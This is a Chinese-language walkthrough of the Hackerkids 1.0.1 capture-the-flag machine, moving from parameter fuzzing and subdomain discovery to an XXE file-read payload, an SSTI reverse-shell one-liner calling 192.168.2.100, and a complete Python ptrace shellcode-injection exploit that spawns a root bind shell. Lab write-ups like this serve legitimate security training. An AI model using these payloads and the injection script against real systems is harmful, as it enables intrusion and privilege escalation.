Post

Hackerkids:1.0.1 Walkthrough

wfuzz参数枚举、xxe->ssti打点,cap_sys_ptrace提权

Recon

这台机器开放了两个http服务和一个53/tcp

image-20250922142050744

wfuzz

80/tcp网页前端有一些功能点,点击访问链接/#form.html和#app.html,需要手动删除#,暂时没发现有什么利用点

image-20250922142534576

在源代码中发现一个TODO,其中泄露了一个参数page_no

image-20250922155446571

fuzz参数,发现?page_no=21不太一样

image-20250922160209101

返回的信息中包含一个子域名 hackers.blackhat.local,写入/etc/hosts尝试访问

image-20250922160249569

/etc/host要同时写入主域名和已知子域名

image-20250922161906456

image-20250922161936296

从ip访问开始就发现前端字符反复提示了dig,现在已经获得了域名,尝试一下用dig发现子域名

发现还存在hackerkid.blackhat.local

image-20250922162102616

XXE

写入hosts后访问得到一个注册页面

image-20250922162151171

注册发现怎样都提示邮箱不可用,抓包发现传值使用的是xml

image-20250922164126153

尝试xxe,payload如下:将调用实体的位置放在email标签内

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>a</name>
  <tel>123</tel>
  <email>&xxe;</email>
  <password>Admin@123</password>
</root>

读取/etc/passwd成功,发现除root外的第二个有效用户saket

image-20250922164217857

shell as saket by SSTI

对saket用户home目录开展信息收集,在/home/saket/.bashrc下得到一对凭证

image-20250922165954995

使用这对凭证发现登录不了9999/tcp端口的后台,将admin替换为saket登录成功

image-20250922170318620

登陆后根据提示传递?name参数,发现存在SSTI

image-20250922170420801

使用payload反弹shell

1
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.2.100/443 0>&1"')}}

需要对payload进行全字符url编码

image-20250922171015605

image-20250922171105803

shell as root by cap_sys_ptrace

例行检查,发现python2.7存在cap_sys_ptrace

image-20250922171718302

找一个root权限的进程,得到PID

image-20250922173626391

将exp写入inject.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17

# Structure defined in <sys/user.h>
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")
pid = int(sys.argv[1])

libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers = user_regs_struct()

libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shellcode
shellcode = (
    "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f"
    "\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58"
    "\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97"
    "\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62"
    "\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
)

for i in range(0, len(shellcode), 4):
    # Convert the bytes to little-endian integer
    shellcode_byte_int = struct.unpack("<I", shellcode[i:i+4].ljust(4, '\x00'))[0]
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip + i), shellcode_byte_int)

print("Shellcode Injected!!")

# Modify the instruction pointer
registers.rip += 2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

执行python2.7 inject.py 726,将会在tcp/5600开放一个root权限的bind_shell

image-20250922173815328

使用pwncat连接

image-20250922173901180

This post is licensed under CC BY 4.0 by the author.